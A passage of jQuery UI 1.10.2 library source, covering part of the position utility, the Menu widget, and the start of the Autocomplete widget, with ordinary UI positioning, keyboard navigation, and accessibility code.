( overflowY === "auto" && within.height < within.element[0].scrollHeight );
return {
width: hasOverflowY ? $.position.scrollbarWidth() : 0,
height: hasOverflowX ? $.position.scrollbarWidth() : 0
};
},
getWithinInfo: function( element ) {
var withinElement = $( element || window ),
isWindow = $.isWindow( withinElement[0] );
return {
element: withinElement,
isWindow: isWindow,
offset: withinElement.offset() || { left: 0, top: 0 },
scrollLeft: withinElement.scrollLeft(),
scrollTop: withinElement.scrollTop(),
width: isWindow ? withinElement.width() : withinElement.outerWidth(),
height: isWindow ? withinElement.height() : withinElement.outerHeight()
};
}
};
$.fn.position = function( options ) {
if ( !options || !options.of ) {
return _position.apply( this, arguments );
}
// make a copy, we don't want to modify arguments
options = $.extend( {}, options );
var atOffset, targetWidth, targetHeight, targetOffset, basePosition, dimensions,
target = $( options.of ),
within = $.position.getWithinInfo( options.within ),
scrollInfo = $.position.getScrollInfo( within ),
collision = ( options.collision || "flip" ).split( " " ),
offsets = {};
dimensions = getDimensions( target );
if ( target[0].preventDefault ) {
// force left top to allow flipping
options.at = "left top";
}
targetWidth = dimensions.width;
targetHeight = dimensions.height;
targetOffset = dimensions.offset;
// clone to reuse original targetOffset later
basePosition = $.extend( {}, targetOffset );
// force my and at to have valid horizontal and vertical positions
// if a value is missing or invalid, it will be converted to center
$.each( [ "my", "at" ], function() {
var pos = ( options[ this ] || "" ).split( " " ),
horizontalOffset,
verticalOffset;
if ( pos.length === 1) {
pos = rhorizontal.test( pos[ 0 ] ) ?
pos.concat( [ "center" ] ) :
rvertical.test( pos[ 0 ] ) ?
[ "center" ].concat( pos ) :
[ "center", "center" ];
}
pos[ 0 ] = rhorizontal.test( pos[ 0 ] ) ? pos[ 0 ] : "center";
pos[ 1 ] = rvertical.test( pos[ 1 ] ) ? pos[ 1 ] : "center";
// calculate offsets
horizontalOffset = roffset.exec( pos[ 0 ] );
verticalOffset = roffset.exec( pos[ 1 ] );
offsets[ this ] = [
horizontalOffset ? horizontalOffset[ 0 ] : 0,
verticalOffset ? verticalOffset[ 0 ] : 0
];
// reduce to just the positions without the offsets
options[ this ] = [
rposition.exec( pos[ 0 ] )[ 0 ],
rposition.exec( pos[ 1 ] )[ 0 ]
];
});
// normalize collision option
if ( collision.length === 1 ) {
collision[ 1 ] = collision[ 0 ];
}
if ( options.at[ 0 ] === "right" ) {
basePosition.left += targetWidth;
} else if ( options.at[ 0 ] === "center" ) {
basePosition.left += targetWidth / 2;
}
if ( options.at[ 1 ] === "bottom" ) {
basePosition.top += targetHeight;
} else if ( options.at[ 1 ] === "center" ) {
basePosition.top += targetHeight / 2;
}
atOffset = getOffsets( offsets.at, targetWidth, targetHeight );
basePosition.left += atOffset[ 0 ];
basePosition.top += atOffset[ 1 ];
return this.each(function() {
var collisionPosition, using,
elem = $( this ),
elemWidth = elem.outerWidth(),
elemHeight = elem.outerHeight(),
marginLeft = parseCss( this, "marginLeft" ),
marginTop = parseCss( this, "marginTop" ),
collisionWidth = elemWidth + marginLeft + parseCss( this, "marginRight" ) + scrollInfo.width,
collisionHeight = elemHeight + marginTop + parseCss( this, "marginBottom" ) + scrollInfo.height,
position = $.extend( {}, basePosition ),
myOffset = getOffsets( offsets.my, elem.outerWidth(), elem.outerHeight() );
if ( options.my[ 0 ] === "right" ) {
position.left -= elemWidth;
} else if ( options.my[ 0 ] === "center" ) {
position.left -= elemWidth / 2;
}
if ( options.my[ 1 ] === "bottom" ) {
position.top -= elemHeight;
} else if ( options.my[ 1 ] === "center" ) {
position.top -= elemHeight / 2;
}
position.left += myOffset[ 0 ];
position.top += myOffset[ 1 ];
// if the browser doesn't support fractions, then round for consistent results
if ( !$.support.offsetFractions ) {
position.left = round( position.left );
position.top = round( position.top );
}
collisionPosition = {
marginLeft: marginLeft,
marginTop: marginTop
};
$.each( [ "left", "top" ], function( i, dir ) {
if ( $.ui.position[ collision[ i ] ] ) {
$.ui.position[ collision[ i ] ][ dir ]( position, {
targetWidth: targetWidth,
targetHeight: targetHeight,
elemWidth: elemWidth,
elemHeight: elemHeight,
collisionPosition: collisionPosition,
collisionWidth: collisionWidth,
collisionHeight: collisionHeight,
offset: [ atOffset[ 0 ] + myOffset[ 0 ], atOffset [ 1 ] + myOffset[ 1 ] ],
my: options.my,
at: options.at,
within: within,
elem : elem
});
}
});
if ( options.using ) {
// adds feedback as second argument to using callback, if present
using = function( props ) {
var left = targetOffset.left - position.left,
right = left + targetWidth - elemWidth,
top = targetOffset.top - position.top,
bottom = top + targetHeight - elemHeight,
feedback = {
target: {
element: target,
left: targetOffset.left,
top: targetOffset.top,
width: targetWidth,
height: targetHeight
},
element: {
element: elem,
left: position.left,
top: position.top,
width: elemWidth,
height: elemHeight
},
horizontal: right < 0 ? "left" : left > 0 ? "right" : "center",
vertical: bottom < 0 ? "top" : top > 0 ? "bottom" : "middle"
};
if ( targetWidth < elemWidth && abs( left + right ) < targetWidth ) {
feedback.horizontal = "center";
}
if ( targetHeight < elemHeight && abs( top + bottom ) < targetHeight ) {
feedback.vertical = "middle";
}
if ( max( abs( left ), abs( right ) ) > max( abs( top ), abs( bottom ) ) ) {
feedback.important = "horizontal";
} else {
feedback.important = "vertical";
}
options.using.call( this, props, feedback );
};
}
elem.offset( $.extend( position, { using: using } ) );
});
};
$.ui.position = {
fit: {
left: function( position, data ) {
var within = data.within,
withinOffset = within.isWindow ? within.scrollLeft : within.offset.left,
outerWidth = within.width,
collisionPosLeft = position.left - data.collisionPosition.marginLeft,
overLeft = withinOffset - collisionPosLeft,
overRight = collisionPosLeft + data.collisionWidth - outerWidth - withinOffset,
newOverRight;
// element is wider than within
if ( data.collisionWidth > outerWidth ) {
// element is initially over the left side of within
if ( overLeft > 0 && overRight <= 0 ) {
newOverRight = position.left + overLeft + data.collisionWidth - outerWidth - withinOffset;
position.left += overLeft - newOverRight;
// element is initially over right side of within
} else if ( overRight > 0 && overLeft <= 0 ) {
position.left = withinOffset;
// element is initially over both left and right sides of within
} else {
if ( overLeft > overRight ) {
position.left = withinOffset + outerWidth - data.collisionWidth;
} else {
position.left = withinOffset;
}
}
// too far left -> align with left edge
} else if ( overLeft > 0 ) {
position.left += overLeft;
// too far right -> align with right edge
} else if ( overRight > 0 ) {
position.left -= overRight;
// adjust based on position and margin
} else {
position.left = max( position.left - collisionPosLeft, position.left );
}
},
top: function( position, data ) {
var within = data.within,
withinOffset = within.isWindow ? within.scrollTop : within.offset.top,
outerHeight = data.within.height,
collisionPosTop = position.top - data.collisionPosition.marginTop,
overTop = withinOffset - collisionPosTop,
overBottom = collisionPosTop + data.collisionHeight - outerHeight - withinOffset,
newOverBottom;
// element is taller than within
if ( data.collisionHeight > outerHeight ) {
// element is initially over the top of within
if ( overTop > 0 && overBottom <= 0 ) {
newOverBottom = position.top + overTop + data.collisionHeight - outerHeight - withinOffset;
position.top += overTop - newOverBottom;
// element is initially over bottom of within
} else if ( overBottom > 0 && overTop <= 0 ) {
position.top = withinOffset;
// element is initially over both top and bottom of within
} else {
if ( overTop > overBottom ) {
position.top = withinOffset + outerHeight - data.collisionHeight;
} else {
position.top = withinOffset;
}
}
// too far up -> align with top
} else if ( overTop > 0 ) {
position.top += overTop;
// too far down -> align with bottom edge
} else if ( overBottom > 0 ) {
position.top -= overBottom;
// adjust based on position and margin
} else {
position.top = max( position.top - collisionPosTop, position.top );
}
}
},
flip: {
left: function( position, data ) {
var within = data.within,
withinOffset = within.offset.left + within.scrollLeft,
outerWidth = within.width,
offsetLeft = within.isWindow ? within.scrollLeft : within.offset.left,
collisionPosLeft = position.left - data.collisionPosition.marginLeft,
overLeft = collisionPosLeft - offsetLeft,
overRight = collisionPosLeft + data.collisionWidth - outerWidth - offsetLeft,
myOffset = data.my[ 0 ] === "left" ?
-data.elemWidth :
data.my[ 0 ] === "right" ?
data.elemWidth :
0,
atOffset = data.at[ 0 ] === "left" ?
data.targetWidth :
data.at[ 0 ] === "right" ?
-data.targetWidth :
0,
offset = -2 * data.offset[ 0 ],
newOverRight,
newOverLeft;
if ( overLeft < 0 ) {
newOverRight = position.left + myOffset + atOffset + offset + data.collisionWidth - outerWidth - withinOffset;
if ( newOverRight < 0 || newOverRight < abs( overLeft ) ) {
position.left += myOffset + atOffset + offset;
}
}
else if ( overRight > 0 ) {
newOverLeft = position.left - data.collisionPosition.marginLeft + myOffset + atOffset + offset - offsetLeft;
if ( newOverLeft > 0 || abs( newOverLeft ) < overRight ) {
position.left += myOffset + atOffset + offset;
}
}
},
top: function( position, data ) {
var within = data.within,
withinOffset = within.offset.top + within.scrollTop,
outerHeight = within.height,
offsetTop = within.isWindow ? within.scrollTop : within.offset.top,
collisionPosTop = position.top - data.collisionPosition.marginTop,
overTop = collisionPosTop - offsetTop,
overBottom = collisionPosTop + data.collisionHeight - outerHeight - offsetTop,
top = data.my[ 1 ] === "top",
myOffset = top ?
-data.elemHeight :
data.my[ 1 ] === "bottom" ?
data.elemHeight :
0,
atOffset = data.at[ 1 ] === "top" ?
data.targetHeight :
data.at[ 1 ] === "bottom" ?
-data.targetHeight :
0,
offset = -2 * data.offset[ 1 ],
newOverTop,
newOverBottom;
if ( overTop < 0 ) {
newOverBottom = position.top + myOffset + atOffset + offset + data.collisionHeight - outerHeight - withinOffset;
if ( ( position.top + myOffset + atOffset + offset) > overTop && ( newOverBottom < 0 || newOverBottom < abs( overTop ) ) ) {
position.top += myOffset + atOffset + offset;
}
}
else if ( overBottom > 0 ) {
newOverTop = position.top - data.collisionPosition.marginTop + myOffset + atOffset + offset - offsetTop;
if ( ( position.top + myOffset + atOffset + offset) > overBottom && ( newOverTop > 0 || abs( newOverTop ) < overBottom ) ) {
position.top += myOffset + atOffset + offset;
}
}
}
},
flipfit: {
left: function() {
$.ui.position.flip.left.apply( this, arguments );
$.ui.position.fit.left.apply( this, arguments );
},
top: function() {
$.ui.position.flip.top.apply( this, arguments );
$.ui.position.fit.top.apply( this, arguments );
}
}
};
// fraction support test
(function () {
var testElement, testElementParent, testElementStyle, offsetLeft, i,
body = document.getElementsByTagName( "body" )[ 0 ],
div = document.createElement( "div" );
//Create a "fake body" for testing based on method used in jQuery.support
testElement = document.createElement( body ? "div" : "body" );
testElementStyle = {
visibility: "hidden",
width: 0,
height: 0,
border: 0,
margin: 0,
background: "none"
};
if ( body ) {
$.extend( testElementStyle, {
position: "absolute",
left: "-1000px",
top: "-1000px"
});
}
for ( i in testElementStyle ) {
testElement.style[ i ] = testElementStyle[ i ];
}
testElement.appendChild( div );
testElementParent = body || document.documentElement;
testElementParent.insertBefore( testElement, testElementParent.firstChild );
div.style.cssText = "position: absolute; left: 10.7432222px;";
offsetLeft = $( div ).offset().left;
$.support.offsetFractions = offsetLeft > 10 && offsetLeft < 11;
testElement.innerHTML = "";
testElementParent.removeChild( testElement );
})();
}( jQuery ) );
;
/*!
* jQuery UI Menu 1.10.2
* http://jqueryui.com
*
* Copyright 2013 jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*
* http://api.jqueryui.com/menu/
*
* Depends:
* jquery.ui.core.js
* jquery.ui.widget.js
* jquery.ui.position.js
*/
(function( $, undefined ) {
$.widget( "ui.menu", {
version: "1.10.2",
defaultElement: "<ul>",
delay: 300,
options: {
icons: {
submenu: "ui-icon-carat-1-e"
},
menus: "ul",
position: {
my: "left top",
at: "right top"
},
role: "menu",
// callbacks
blur: null,
focus: null,
select: null
},
_create: function() {
this.activeMenu = this.element;
// flag used to prevent firing of the click handler
// as the event bubbles up through nested menus
this.mouseHandled = false;
this.element
.uniqueId()
.addClass( "ui-menu ui-widget ui-widget-content ui-corner-all" )
.toggleClass( "ui-menu-icons", !!this.element.find( ".ui-icon" ).length )
.attr({
role: this.options.role,
tabIndex: 0
})
// need to catch all clicks on disabled menu
// not possible through _on
.bind( "click" + this.eventNamespace, $.proxy(function( event ) {
if ( this.options.disabled ) {
event.preventDefault();
}
}, this ));
if ( this.options.disabled ) {
this.element
.addClass( "ui-state-disabled" )
.attr( "aria-disabled", "true" );
}
this._on({
// Prevent focus from sticking to links inside menu after clicking
// them (focus should always stay on UL during navigation).
"mousedown .ui-menu-item > a": function( event ) {
event.preventDefault();
},
"click .ui-state-disabled > a": function( event ) {
event.preventDefault();
},
"click .ui-menu-item:has(a)": function( event ) {
var target = $( event.target ).closest( ".ui-menu-item" );
if ( !this.mouseHandled && target.not( ".ui-state-disabled" ).length ) {
this.mouseHandled = true;
this.select( event );
// Open submenu on click
if ( target.has( ".ui-menu" ).length ) {
this.expand( event );
} else if ( !this.element.is( ":focus" ) ) {
// Redirect focus to the menu
this.element.trigger( "focus", [ true ] );
// If the active item is on the top level, let it stay active.
// Otherwise, blur the active item since it is no longer visible.
if ( this.active && this.active.parents( ".ui-menu" ).length === 1 ) {
clearTimeout( this.timer );
}
}
}
},
"mouseenter .ui-menu-item": function( event ) {
var target = $( event.currentTarget );
// Remove ui-state-active class from siblings of the newly focused menu item
// to avoid a jump caused by adjacent elements both having a class with a border
target.siblings().children( ".ui-state-active" ).removeClass( "ui-state-active" );
this.focus( event, target );
},
mouseleave: "collapseAll",
"mouseleave .ui-menu": "collapseAll",
focus: function( event, keepActiveItem ) {
// If there's already an active item, keep it active
// If not, activate the first item
var item = this.active || this.element.children( ".ui-menu-item" ).eq( 0 );
if ( !keepActiveItem ) {
this.focus( event, item );
}
},
blur: function( event ) {
this._delay(function() {
if ( !$.contains( this.element[0], this.document[0].activeElement ) ) {
this.collapseAll( event );
}
});
},
keydown: "_keydown"
});
this.refresh();
// Clicks outside of a menu collapse any open menus
this._on( this.document, {
click: function( event ) {
if ( !$( event.target ).closest( ".ui-menu" ).length ) {
this.collapseAll( event );
}
// Reset the mouseHandled flag
this.mouseHandled = false;
}
});
},
_destroy: function() {
// Destroy (sub)menus
this.element
.removeAttr( "aria-activedescendant" )
.find( ".ui-menu" ).addBack()
.removeClass( "ui-menu ui-widget ui-widget-content ui-corner-all ui-menu-icons" )
.removeAttr( "role" )
.removeAttr( "tabIndex" )
.removeAttr( "aria-labelledby" )
.removeAttr( "aria-expanded" )
.removeAttr( "aria-hidden" )
.removeAttr( "aria-disabled" )
.removeUniqueId()
.show();
// Destroy menu items
this.element.find( ".ui-menu-item" )
.removeClass( "ui-menu-item" )
.removeAttr( "role" )
.removeAttr( "aria-disabled" )
.children( "a" )
.removeUniqueId()
.removeClass( "ui-corner-all ui-state-hover" )
.removeAttr( "tabIndex" )
.removeAttr( "role" )
.removeAttr( "aria-haspopup" )
.children().each( function() {
var elem = $( this );
if ( elem.data( "ui-menu-submenu-carat" ) ) {
elem.remove();
}
});
// Destroy menu dividers
this.element.find( ".ui-menu-divider" ).removeClass( "ui-menu-divider ui-widget-content" );
},
_keydown: function( event ) {
/*jshint maxcomplexity:20*/
var match, prev, character, skip, regex,
preventDefault = true;
function escape( value ) {
return value.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" );
}
switch ( event.keyCode ) {
case $.ui.keyCode.PAGE_UP:
this.previousPage( event );
break;
case $.ui.keyCode.PAGE_DOWN:
this.nextPage( event );
break;
case $.ui.keyCode.HOME:
this._move( "first", "first", event );
break;
case $.ui.keyCode.END:
this._move( "last", "last", event );
break;
case $.ui.keyCode.UP:
this.previous( event );
break;
case $.ui.keyCode.DOWN:
this.next( event );
break;
case $.ui.keyCode.LEFT:
this.collapse( event );
break;
case $.ui.keyCode.RIGHT:
if ( this.active && !this.active.is( ".ui-state-disabled" ) ) {
this.expand( event );
}
break;
case $.ui.keyCode.ENTER:
case $.ui.keyCode.SPACE:
this._activate( event );
break;
case $.ui.keyCode.ESCAPE:
this.collapse( event );
break;
default:
preventDefault = false;
prev = this.previousFilter || "";
character = String.fromCharCode( event.keyCode );
skip = false;
clearTimeout( this.filterTimer );
if ( character === prev ) {
skip = true;
} else {
character = prev + character;
}
regex = new RegExp( "^" + escape( character ), "i" );
match = this.activeMenu.children( ".ui-menu-item" ).filter(function() {
return regex.test( $( this ).children( "a" ).text() );
});
match = skip && match.index( this.active.next() ) !== -1 ?
this.active.nextAll( ".ui-menu-item" ) :
match;
// If no matches on the current filter, reset to the last character pressed
// to move down the menu to the first item that starts with that character
if ( !match.length ) {
character = String.fromCharCode( event.keyCode );
regex = new RegExp( "^" + escape( character ), "i" );
match = this.activeMenu.children( ".ui-menu-item" ).filter(function() {
return regex.test( $( this ).children( "a" ).text() );
});
}
if ( match.length ) {
this.focus( event, match );
if ( match.length > 1 ) {
this.previousFilter = character;
this.filterTimer = this._delay(function() {
delete this.previousFilter;
}, 1000 );
} else {
delete this.previousFilter;
}
} else {
delete this.previousFilter;
}
}
if ( preventDefault ) {
event.preventDefault();
}
},
_activate: function( event ) {
if ( !this.active.is( ".ui-state-disabled" ) ) {
if ( this.active.children( "a[aria-haspopup='true']" ).length ) {
this.expand( event );
} else {
this.select( event );
}
}
},
refresh: function() {
var menus,
icon = this.options.icons.submenu,
submenus = this.element.find( this.options.menus );
// Initialize nested menus
submenus.filter( ":not(.ui-menu)" )
.addClass( "ui-menu ui-widget ui-widget-content ui-corner-all" )
.hide()
.attr({
role: this.options.role,
"aria-hidden": "true",
"aria-expanded": "false"
})
.each(function() {
var menu = $( this ),
item = menu.prev( "a" ),
submenuCarat = $( "<span>" )
.addClass( "ui-menu-icon ui-icon " + icon )
.data( "ui-menu-submenu-carat", true );
item
.attr( "aria-haspopup", "true" )
.prepend( submenuCarat );
menu.attr( "aria-labelledby", item.attr( "id" ) );
});
menus = submenus.add( this.element );
// Don't refresh list items that are already adapted
menus.children( ":not(.ui-menu-item):has(a)" )
.addClass( "ui-menu-item" )
.attr( "role", "presentation" )
.children( "a" )
.uniqueId()
.addClass( "ui-corner-all" )
.attr({
tabIndex: -1,
role: this._itemRole()
});
// Initialize unlinked menu-items containing spaces and/or dashes only as dividers
menus.children( ":not(.ui-menu-item)" ).each(function() {
var item = $( this );
// hyphen, em dash, en dash
if ( !/[^\-\u2014\u2013\s]/.test( item.text() ) ) {
item.addClass( "ui-widget-content ui-menu-divider" );
}
});
// Add aria-disabled attribute to any disabled menu item
menus.children( ".ui-state-disabled" ).attr( "aria-disabled", "true" );
// If the active item has been removed, blur the menu
if ( this.active && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) {
this.blur();
}
},
_itemRole: function() {
return {
menu: "menuitem",
listbox: "option"
}[ this.options.role ];
},
_setOption: function( key, value ) {
if ( key === "icons" ) {
this.element.find( ".ui-menu-icon" )
.removeClass( this.options.icons.submenu )
.addClass( value.submenu );
}
this._super( key, value );
},
focus: function( event, item ) {
var nested, focused;
this.blur( event, event && event.type === "focus" );
this._scrollIntoView( item );
this.active = item.first();
focused = this.active.children( "a" ).addClass( "ui-state-focus" );
// Only update aria-activedescendant if there's a role
// otherwise we assume focus is managed elsewhere
if ( this.options.role ) {
this.element.attr( "aria-activedescendant", focused.attr( "id" ) );
}
// Highlight active parent menu item, if any
this.active
.parent()
.closest( ".ui-menu-item" )
.children( "a:first" )
.addClass( "ui-state-active" );
if ( event && event.type === "keydown" ) {
this._close();
} else {
this.timer = this._delay(function() {
this._close();
}, this.delay );
}
nested = item.children( ".ui-menu" );
if ( nested.length && ( /^mouse/.test( event.type ) ) ) {
this._startOpening(nested);
}
this.activeMenu = item.parent();
this._trigger( "focus", event, { item: item } );
},
_scrollIntoView: function( item ) {
var borderTop, paddingTop, offset, scroll, elementHeight, itemHeight;
if ( this._hasScroll() ) {
borderTop = parseFloat( $.css( this.activeMenu[0], "borderTopWidth" ) ) || 0;
paddingTop = parseFloat( $.css( this.activeMenu[0], "paddingTop" ) ) || 0;
offset = item.offset().top - this.activeMenu.offset().top - borderTop - paddingTop;
scroll = this.activeMenu.scrollTop();
elementHeight = this.activeMenu.height();
itemHeight = item.height();
if ( offset < 0 ) {
this.activeMenu.scrollTop( scroll + offset );
} else if ( offset + itemHeight > elementHeight ) {
this.activeMenu.scrollTop( scroll + offset - elementHeight + itemHeight );
}
}
},
blur: function( event, fromFocus ) {
if ( !fromFocus ) {
clearTimeout( this.timer );
}
if ( !this.active ) {
return;
}
this.active.children( "a" ).removeClass( "ui-state-focus" );
this.active = null;
this._trigger( "blur", event, { item: this.active } );
},
_startOpening: function( submenu ) {
clearTimeout( this.timer );
// Don't open if already open fixes a Firefox bug that caused a .5 pixel
// shift in the submenu position when mousing over the carat icon
if ( submenu.attr( "aria-hidden" ) !== "true" ) {
return;
}
this.timer = this._delay(function() {
this._close();
this._open( submenu );
}, this.delay );
},
_open: function( submenu ) {
var position = $.extend({
of: this.active
}, this.options.position );
clearTimeout( this.timer );
this.element.find( ".ui-menu" ).not( submenu.parents( ".ui-menu" ) )
.hide()
.attr( "aria-hidden", "true" );
submenu
.show()
.removeAttr( "aria-hidden" )
.attr( "aria-expanded", "true" )
.position( position );
},
collapseAll: function( event, all ) {
clearTimeout( this.timer );
this.timer = this._delay(function() {
// If we were passed an event, look for the submenu that contains the event
var currentMenu = all ? this.element :
$( event && event.target ).closest( this.element.find( ".ui-menu" ) );
// If we found no valid submenu ancestor, use the main menu to close all sub menus anyway
if ( !currentMenu.length ) {
currentMenu = this.element;
}
this._close( currentMenu );
this.blur( event );
this.activeMenu = currentMenu;
}, this.delay );
},
// With no arguments, closes the currently active menu - if nothing is active
// it closes all menus. If passed an argument, it will search for menus BELOW
_close: function( startMenu ) {
if ( !startMenu ) {
startMenu = this.active ? this.active.parent() : this.element;
}
startMenu
.find( ".ui-menu" )
.hide()
.attr( "aria-hidden", "true" )
.attr( "aria-expanded", "false" )
.end()
.find( "a.ui-state-active" )
.removeClass( "ui-state-active" );
},
collapse: function( event ) {
var newItem = this.active &&
this.active.parent().closest( ".ui-menu-item", this.element );
if ( newItem && newItem.length ) {
this._close();
this.focus( event, newItem );
}
},
expand: function( event ) {
var newItem = this.active &&
this.active
.children( ".ui-menu " )
.children( ".ui-menu-item" )
.first();
if ( newItem && newItem.length ) {
this._open( newItem.parent() );
// Delay so Firefox will not hide activedescendant change in expanding submenu from AT
this._delay(function() {
this.focus( event, newItem );
});
}
},
next: function( event ) {
this._move( "next", "first", event );
},
previous: function( event ) {
this._move( "prev", "last", event );
},
isFirstItem: function() {
return this.active && !this.active.prevAll( ".ui-menu-item" ).length;
},
isLastItem: function() {
return this.active && !this.active.nextAll( ".ui-menu-item" ).length;
},
_move: function( direction, filter, event ) {
var next;
if ( this.active ) {
if ( direction === "first" || direction === "last" ) {
next = this.active
[ direction === "first" ? "prevAll" : "nextAll" ]( ".ui-menu-item" )
.eq( -1 );
} else {
next = this.active
[ direction + "All" ]( ".ui-menu-item" )
.eq( 0 );
}
}
if ( !next || !next.length || !this.active ) {
next = this.activeMenu.children( ".ui-menu-item" )[ filter ]();
}
this.focus( event, next );
},
nextPage: function( event ) {
var item, base, height;
if ( !this.active ) {
this.next( event );
return;
}
if ( this.isLastItem() ) {
return;
}
if ( this._hasScroll() ) {
base = this.active.offset().top;
height = this.element.height();
this.active.nextAll( ".ui-menu-item" ).each(function() {
item = $( this );
return item.offset().top - base - height < 0;
});
this.focus( event, item );
} else {
this.focus( event, this.activeMenu.children( ".ui-menu-item" )
[ !this.active ? "first" : "last" ]() );
}
},
previousPage: function( event ) {
var item, base, height;
if ( !this.active ) {
this.next( event );
return;
}
if ( this.isFirstItem() ) {
return;
}
if ( this._hasScroll() ) {
base = this.active.offset().top;
height = this.element.height();
this.active.prevAll( ".ui-menu-item" ).each(function() {
item = $( this );
return item.offset().top - base + height > 0;
});
this.focus( event, item );
} else {
this.focus( event, this.activeMenu.children( ".ui-menu-item" ).first() );
}
},
_hasScroll: function() {
return this.element.outerHeight() < this.element.prop( "scrollHeight" );
},
select: function( event ) {
// TODO: It should never be possible to not have an active item at this
// point, but the tests don't trigger mouseenter before click.
this.active = this.active || $( event.target ).closest( ".ui-menu-item" );
var ui = { item: this.active };
if ( !this.active.has( ".ui-menu" ).length ) {
this.collapseAll( event, true );
}
this._trigger( "select", event, ui );
}
});
}( jQuery ));
;
/*!
* jQuery UI Autocomplete 1.10.2
* http://jqueryui.com
*
* Copyright 2013 jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*
* http://api.jqueryui.com/autocomplete/
*
* Depends:
* jquery.ui.core.js
* jquery.ui.widget.js
* jquery.ui.position.js
* jquery.ui.menu.js
*/
(function( $, undefined ) {
// used to prevent race conditions with remote data sources
var requestIndex = 0;
$.widget( "ui.autocomplete", {
version: "1.10.2",
defaultElement: "<input>",
options: {
appendTo: null,
autoFocus: false,
delay: 300,
minLength: 1,
position: {
my: "left top",
at: "left bottom",
collision: "none"
},
source: null,
// callbacks
change: null,
close: null,
focus: null,
open: null,
response: null,
search: null,
select: null
},
pending: 0,
_create: function() {
// Some browsers only repeat keydown events, not keypress events,
// so we use the suppressKeyPress flag to determine if we've already
// handled the keydown event. #7269
// Unfortunately the code for & in keypress is the same as the up arrow,
// so we use the suppressKeyPressRepeat flag to avoid handling keypress
// events when we know the keydown event was used to modify the
// search term. #7799
var suppressKeyPress, suppressKeyPressRepeat, suppressInput,
nodeName = this.element[0].nodeName.toLowerCase(),
isTextarea = nodeName === "textarea",
isInput = nodeName === "input";
this.isMultiLine =
// Textareas are always multi-line
isTextarea ? true :
// Inputs are always single-line, even if inside a contentEditable element
// IE also treats inputs as contentEditable
isInput ? false :
// All other element types are determined by whether or not they're contentEditable
this.element.prop( "isContentEditable" );
this.valueMethod = this.element[ isTextarea || isInput ? "val" : "text" ];
this.isNewMenu = true;
this.element
.addClass( "ui-autocomplete-input" )
.attr( "autocomplete", "off" );
this._on( this.element, {
keydown: function( event ) {
/*jshint maxcomplexity:15*/
if ( this.element.prop( "readOnly" ) ) {
suppressKeyPress = true;
suppressInput = true;
suppressKeyPressRepeat = true;
return;
}
suppressKeyPress = false;
suppressInput = false;
suppressKeyPressRepeat = false;
var keyCode = $.ui.keyCode;
switch( event.keyCode ) {
case keyCode.PAGE_UP:
suppressKeyPress = true;
this._move( "previousPage", event );
break;
case keyCode.PAGE_DOWN:
suppressKeyPress = true;
this._move( "nextPage", event );
break;
case keyCode.UP:
suppressKeyPress = true;
this._keyEvent( "previous", event );
break;
case keyCode.DOWN:
suppressKeyPress = true;
this._keyEvent( "next", event );
break;
case keyCode.ENTER:
case keyCode.NUMPAD_ENTER:
// when menu is open and has focus
if ( this.menu.active ) {
// #6055 - Opera still allows the keypress to occur
// which causes forms to submit
suppressKeyPress = true;
event.preventDefault();
this.menu.select( event );
}
break;
case keyCode.TAB:
if ( this.menu.active ) {
this.menu.select( event );
}
break;
case keyCode.ESCAPE:
if ( this.menu.element.is( ":visible" ) ) {
this._value( this.term );
this.close( event );
// Different browsers have different default behavior for escape
// Single press can mean undo or clear
// Double press in IE means clear the whole form
event.preventDefault();
}
break;
default:
suppressKeyPressRepeat = true;
// search timeout should be triggered before the input value is changed
this._searchTimeout( event );
break;
}
},
keypress: function( event ) {
if ( suppressKeyPress ) {
suppressKeyPress = false;
event.preventDefault();
return;
}
if ( suppressKeyPressRepeat ) {
return;
}
// replicate some key handlers to allow them to repeat in Firefox and Opera
var keyCode = $.ui.keyCode;
switch( event.keyCode ) {
case keyCode.PAGE_UP:
this._move( "previousPage", event );
break;
case keyCode.PAGE_DOWN:
this._move( "nextPage", event );
break;
case keyCode.UP:
this._keyEvent( "previous", event );
break;
case keyCode.DOWN:
this._keyEvent( "next", event );
break;
}
},
input: function( event ) {
if ( suppressInput ) {
suppressInput = false;
event.preventDefault();
return;
}
this._searchTimeout( event );
},
focus: function() {
this.selectedItem = null;
this.previous = this._value();
},
blur: function( event ) {
if ( this.cancelBlur ) {
delete this.cancelBlur;
return;
}
clearTimeout( this.searching );
this.close( event );
this._change( event );
}
});
this._initSource();
this.menu = $( "<ul>" )
.addClass( "ui-autocomplete ui-front" )
.appendTo( this._appendTo() )
.menu({
// custom key handling for now
input: $(),
// disable ARIA support, the live region takes care of that
role: null
})
.hide()
.data( "ui-menu" );
this._on( this.menu.element, {
mousedown: function( event ) {
// prevent moving focus out of the text field
event.preventDefault();
// IE doesn't prevent moving focus even with event.preventDefault()
// so we set a flag to know when we should ignore the blur event
this.cancelBlur = true;
this._delay(function() {
delete this.cancelBlur;
});
// clicking on the scrollbar causes focus to shift to the body
// but we can't detect a mouseup or a click immediately afterward
// so we have to track the next mousedown and close the menu if
// the user clicks somewhere outside of the autocomplete
var menuElement = this.menu.element[ 0 ];
if ( !$( event.target ).closest( ".ui-menu-item" ).length ) {
this._delay(function() {
var that = this;
this.document.one( "mousedown", function( event ) {
if ( event.target !== that.element[ 0 ] &&
event.target !== menuElement &&
!$.contains( menuElement, event.target ) ) {
that.close();
}
});
});
}
},
menufocus: function( event, ui ) {
// support: Firefox
// Prevent accidental activation of menu items in Firefox (#7024 #9118)
if ( this.isNewMenu ) {
this.isNewMenu = false;
if ( event.originalEvent && /^mouse/.test( event.originalEvent.type ) ) {
this.menu.blur();
this.document.one( "mousemove", function() {
$( event.target ).trigger( event.originalEvent );
});
return;
}
}
var item = ui.item.data( "ui-autocomplete-item" );
if ( false !== this._trigger( "focus", event, { item: item } ) ) {
// use value to match what will end up in the input, if it was a key event
if ( event.originalEvent && /^key/.test( event.originalEvent.type ) ) {
this._value( item.value );
}
} else {
// Normally the input is populated with the item's value as the
// menu is navigated, causing screen readers to notice a change and
// announce the item. Since the focus event was canceled, this doesn't
// happen, so we update the live region so that screen readers can
// still notice the change and announce it.
this.liveRegion.text( item.value );
}
},
menuselect: function( event, ui ) {
var item = ui.item.data( "ui-autocomplete-item" ),
previous = this.previous;
// only trigger when focus was lost (click on menu)
if ( this.element[0] !== this.document[0].activeElement ) {
this.element.focus();
this.previous = previous;
// #6109 - IE triggers two focus events and the second
// is asynchronous, so we need to reset the previous
